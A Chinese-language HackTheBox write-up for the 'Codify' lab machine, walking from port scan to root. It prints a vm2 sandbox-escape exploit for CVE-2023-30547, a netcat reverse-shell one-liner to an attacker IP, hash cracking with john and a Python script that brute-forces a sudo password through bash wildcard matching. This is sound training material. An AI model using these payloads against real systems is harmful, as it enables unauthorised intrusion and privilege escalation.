HackTheBox-Machines--Codify

文章目录

  • 1 端口扫描
  • 2 80端口探测
  • 3 利用CVE-2023-30547获取权限
  • 4 权限提升


Codify 测试过程


1 端口扫描


nmap -sC -sV 10.129.59.150

在这里插入图片描述

端口扫描,发现开启了22、80、3000三个端口:
  22端口:没有账号密码,暂时不考虑进行测试
  80端口:添加hosts信息后,访问寻找漏洞
  3000端口:Node.js Express framework组件,可能也有可利用点


2 80端口探测


  2.1 访问web站点


  直接访问10.129.59.150,页面跳转到codify.htb,但是无法访问,编辑/etc/hosts:

10.129.59.150	codify.htb

在这里插入图片描述

在这里插入图片描述

  在web页面发现一个允许我们在沙箱环境中执行 Node js 代码的功能。并且正在使用vm2 库在沙箱环境中运行 Javascript 代码。

Vm2

  Vm2是一个库,为执行 JavaScript 代码提供安全的沙盒环境,主要用于 Node.js 等服务器端环境。它允许在受控环境中创建和运行 JavaScript 代码,通过将代码执行与主应用程序隔离来提供额外的安全层。因此,可以执行潜在不安全或不受信任的代码,而不会影响托管应用程序的稳定性或安全性。
  当 vm2 位置不存在时,使用 Eval(一个 JS 函数)代替 vm2 位置,这会导致一些严重的安全问题。eval 和 vm2 库都与动态执行 JavaScript 代码相关。但如果用户输入直接传递给eval,则可以允许任意代码执行,而vm2提供了沙箱环境并限制对特定全局对象或函数的访问。

CVE-2023-30547:

  为了防止主机异常泄漏到 vm2 沙箱中,使用Transformer()函数对代码进行预处理,该函数添加了handleException()清理函数调用。然而,该漏洞与 CatchClause 和 ObjectPattern 有关。
  发生这种情况时,代码会调用handleException(),然后在嵌套的try-catch 块中重新抛出清理后的异常。用于清理, handleException()调用thisReflectGetPrototypeOf() ,这是一个使用Reflect.getPrototypeOf( )访问对象原型的函数。
  此步骤对于正确的沙箱功能非常重要。当原型对象被代理并且存在getPrototypeOf()代理处理程序时,就会出现问题。这可能会引发未经处理的主机异常,然后由外部 catch 语句捕获该异常。 攻击者可以通过在getPrototypeOf()
代理处理程序内引发非代理主机异常来利用这一点。他们可以将其注册到一个对象并抛出它,从而将主机异常泄漏到沙箱中。通过访问泄露的主机异常,攻击者有可能逃离沙箱并获得对主机功能的访问权限,从而危及环境安全。简而言之,当主机环境中的异常可能泄漏到沙箱中时,就会出现此漏洞。由于使用ObjectPattern处理CatchClause ,可能会发生这种情况。为了利用此漏洞,攻击者可以使用特定技术引发主机异常,从而逃脱沙箱并访问主机功能。这会影响 3.9.16 及之前的 vm2 版本。成功利用该漏洞可以让攻击者绕过沙箱并执行任意代码。


  2.2 CVE-2023-30547漏洞利用


  1.CVE-2023-30547漏洞验证poc地址: https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('cat /etc/passwd');
}
`

console.log(vm.run(code));

在这里插入图片描述

  证明此处确实存在CVE-2023-30547漏洞。


3 利用CVE-2023-30547获取权限


  1.利用CVE-2023-30547漏洞进行反弹shell

# 攻击端执行监听
ncat -lnvp 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.23 4444 >/tmp/f

在这里插入图片描述

在这里插入图片描述

  获取一个交互式shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

  2.查看服务器文件

  在 /var/www/contact 的 Web 目录中,有一个名为 Tickets.db 的SQLite 数据库文件。并且存在用户名和密码hash。

在这里插入图片描述

  使用 strings 实用程序从二进制 SQLite 文件中提取任何可读字符串:

strings tickets.db
用户:joshua
密码hash:$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

在这里插入图片描述

  3.使用john爆破密码hash

echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > joshua_hash.txt
john --wordlist=rockyou.txt joshua.txt
john --show joshua.txt

在这里插入图片描述

  4.ssh登录joshua用户

ssh joshua@10.129.59.150
spongebob1

在这里插入图片描述

在这里插入图片描述


4 权限提升


  1.执行sudo -l

# 显示出自己(执行 sudo 的使用者)的权限
sudo -l

在这里插入图片描述

在这里插入图片描述

  2.mysql-backup.sh分析

if [[ $DB_PASS == $USER_PASS ]]; then
    /usr/bin/echo "Password confirmed!"
else
    /usr/bin/echo "Password confirmation failed!"
    exit 1
fi

  脚本的这一部分将用户提供的密码 (USER_PASS) 与实际的数据库密码 (DB_PASS) 进行比较。此处的漏洞是由于在 Bash 中使用 [[ ]] 中的 == 所致,它执行模式匹配而不是直接字符串比较。这意味着用户输入 (USER_PASS) 被视为一种模式,如果它包含 * 或 ?等通配字符,则它可能会匹配意外的字符串。

  例如,如果实际密码 (DB_PASS) 是 password,但是用户输入 * 作为其密码 (USER_PASS),则模式匹配将成功,因为 * 匹配任何字符串,从而导致未经授权的访问。

  3.编写脚本爆破密码

vim test.py
chmod +x test.py 
python3 test.py 
# test.py 
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True

在这里插入图片描述

  4.切换到root权限

su root
kljh12k3jhaskjh12kjh3

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/172060.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LVS+keepalived——高可用集群

lvskeepalived:高可用集群 keepalived为lvs应运而生的高可用服务。lvs的调度器无法做高可用,于是keepalived这个软件。实现的是调度器的高可用。但是:keepalived不是专门为lvs集群服务的,也可以做其他代理服务器的高可用。 lvs的…

VSCode新建Vue项目

前言 Vue.js 是一款流行的 JavaScript 前端框架,它可以帮助开发者轻松构建高性能、可扩展的 Web 应用程序。而 VSCode 则是一款功能强大的开源代码编辑器,它提供了许多有用的工具和插件,可以大幅提高开发效率。 在本文中,我们将…

HTML+CSS+ElementUI搭建个人博客页面(纯前端)

网站演示 搭建过程 html部分 首先下载Vue2&#xff0c;ElementUI等插件&#xff0c;放在你的本地。我这里为了运行方便&#xff0c;把代码放在了一个框架里运行。 下载后引入部分 <link rel"stylesheet" href"{{URL::asset(elementui/lib/theme-chalk/ind…

门店数字化系统功能有哪些?门店数字化系统介绍

随着科技的发展&#xff0c;门店也在逐步实现数字化转型。一个完整的门店数字化系统应包含预约功能、商城系统、会员系统、供应链系统以及合伙人系统等功能。以下是一个门店数字化系统的功能框架。 一、门店预约功能 预约功能是门店数字化系统的核心之一&#xff0c;它可以帮助…

【Mycat2实战】五、Mycat实现分库分表【实践篇】

Mycat2本系列文章 一、Mycat简介 二、Mycat安装部署 三、Mycat实现读写分离 四、Mycat实现分库分表【概念篇】 五、Mycat实现分库分表【实践篇】 【番外】Mysql主从复制搭建 1. 前言 上篇文章讲述了Mycat分库分表的概念&#xff0c;本文主要讲如何使用Mycat来实现分库分表。…

Android Studio 引入Xui框架-简单应用

Android Studio Flamingo | 2022.2.1 Patch 2 Android 11开发、Gradle Version 8.0、 jdk17 源代码&#xff1a;GitHub - xuexiangjys/XUI: &#x1f48d;A simple and elegant Android native UI framework, free your hands! (一个简洁而优雅的Android原生UI框架&#xff…

python tkinter 使用

python tkinter 使用 ython可以使用多种GUI库来创建窗口页面&#xff0c;例如Tkinter、PyQt、wxPython等。 本篇文章主要讲述如何使用tkinter。 1&#xff1a;导入 import tkinter as tk这时如果运行的话会提示&#xff1a; ModuleNotFoundError: No module named ‘tkint…

卷?中学生开始学习人工智能和大模型,附课件!

卷&#xff1f;中学生开始学习人工智能和大模型&#xff0c;附课件&#xff01; 大家好&#xff0c;我是老章 发现一个面向11-14岁人群的AI课程&#xff0c;还附加了大模型内容&#xff0c;浏览了一遍它们的课件&#xff08;还有面向教师的资源&#xff09;&#xff0c;感觉非…

SAP 重复制造简介

重复制造是制造模块三大制造模式&#xff08;离散、流程、重复&#xff09;之一&#xff0c;是专门用于产品大批量输出的生产环境。 重复制造与JIT管理思想、拉式生产理念紧密结合&#xff0c;首先在日本企业中得到广泛且成功的运用。与重复制造密切相关的功能&#xff0c;如看…

【力扣】 209. 长度最小的子数组

【力扣】 209. 长度最小的子数组 文章目录 【力扣】 209. 长度最小的子数组1. 题目介绍2. 解法2.1 暴力求解2.2 前缀和 二分查找2.3 滑动窗口2.4 贪心回溯 3. Danger参考 1. 题目介绍 给定一个含有 n 个正整数的数组和一个正整数 target 。 找出该数组中满足其总和大于等于 …

负载均衡Ribbon和Feign的使用与区别

Ribbon 的介绍 Spring Cloud Ribbon 是基于Netflix Ribbon 实现的一套客户端负载均衡的工具。主要功能是提供客户端的软件负载均衡和服务调用。Ribbon 客户端组件提供一系列完善的配置项如连接超时&#xff0c;重试等。简单的说&#xff0c;就是在配置文件中列出Load Balancer…

“茶叶创新:爆改营销策略,三个月狂销2300万“

我的朋友去年制作了一款白茶&#xff0c;并在短短三个月内将其销售量推到了2300万的高峰。你相信吗&#xff1f; 这位朋友并没有任何茶叶方面的经验&#xff0c;他只是一个有着冒险精神的企业家。他先找到了一家代工厂&#xff0c;帮助他把他的茶叶理念转化为现实。 当他把茶叶…

小趴菜教你如何用Python开发手机App..

Python语言虽然很万能&#xff0c;但用它来开发app还是显得有点不对路&#xff0c;因此用Python开发的app应当是作为编码练习、或者自娱自乐所用&#xff0c;加上目前这方面的模块还不是特别成熟&#xff0c;bug比较多&#xff0c;总而言之&#xff0c;劝君莫轻入。 准备工作 …

Java修仙记之记录一次与前端女修士论道的经历

文章开始之前&#xff0c;想跟我念一句&#xff1a;福生无量天尊&#xff0c;无量寿佛&#xff0c;阿弥陀佛 第一场论道&#xff1a;id更新之争 一个天气明朗的下午&#xff0c;前端的小美女长发姐告诉我&#xff1a;嘿&#xff0c;小后端&#xff0c;你的代码报错了 我答道&am…

【旅游行业】Axure旅游社交平台APP端原型图,攻略门票酒店民宿原型案例

作品概况 页面数量&#xff1a;共 110 页 兼容软件&#xff1a;Axure RP 9/10&#xff0c;不支持低版本 应用领域&#xff1a;旅游平台&#xff0c;酒店住宿 作品申明&#xff1a;页面内容仅用于功能演示&#xff0c;无实际功能 作品特色 本作品为「旅游社交平台」移动端…

每日一练 | 华为认证真题练习Day134

1、开启标准STP协议的交换机可能存在哪些端口状态&#xff1f;&#xff08;多选&#xff09; A. Discarding B. Listening C. Disabled D. Forwarding 2、下列路由协议中优先级最高的是&#xff1f; A. Direct B. RIP C. OSPF D. Static 3、参考如图所示的输出结果&…

如何使用API接口对接淘宝获取店铺销量排序,店铺名称等参数

要接入淘宝官方开放平台API接口获取店铺销量排序&#xff0c;店铺名称等参数&#xff0c;需要按照以下步骤进行操作&#xff1a; 找到可用的API接口&#xff1a;首先&#xff0c;需要找到支持查询店铺信息的API接口。可以在电商数据平台的开放平台上查找相应的API接口。注册并…

PHP 进阶之路 - 亿级 pv 网站架构实战之性能优化

PHP 进阶之路 - 亿级 pv 网站架构实战之性能优化 缘起 PV和PU&#xff08;数据分析—业务指标&#xff09; PV即访问次数——用户每访问一次可以看作一次PV。 PU即访问人数——在同一天内&#xff0c;一个用户无论访问了多少次都算一个访客。 通过PV和PU可以分析出用户喜欢…

【无公网IP内网穿透】异地远程访问本地SQL Server数据库

目录 1.前言 2.本地安装和设置SQL Server 2.1 SQL Server下载 2.2 SQL Server本地连接测试 2.3 Cpolar内网穿透的下载和安装 2.3 Cpolar内网穿透的注册 3.本地网页发布 3.1 Cpolar云端设置 3.2 Cpolar本地设置 4.公网访问测试 5.结语 1.前言 数据库的重要性相信大家…

智慧安防监控系统EasyCVR(v3.4)开放协议的介绍及使用

安防视频监控系统EasyCVR平台可拓展性强、视频能力灵活、部署轻快&#xff0c;可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等&#xff0c;以及支持厂家私有协议与SDK接入&#xff0c;包括海康Ehome、海大宇等设备的SDK等。平台可拓展性强、视频能力灵活&#xff0c;能…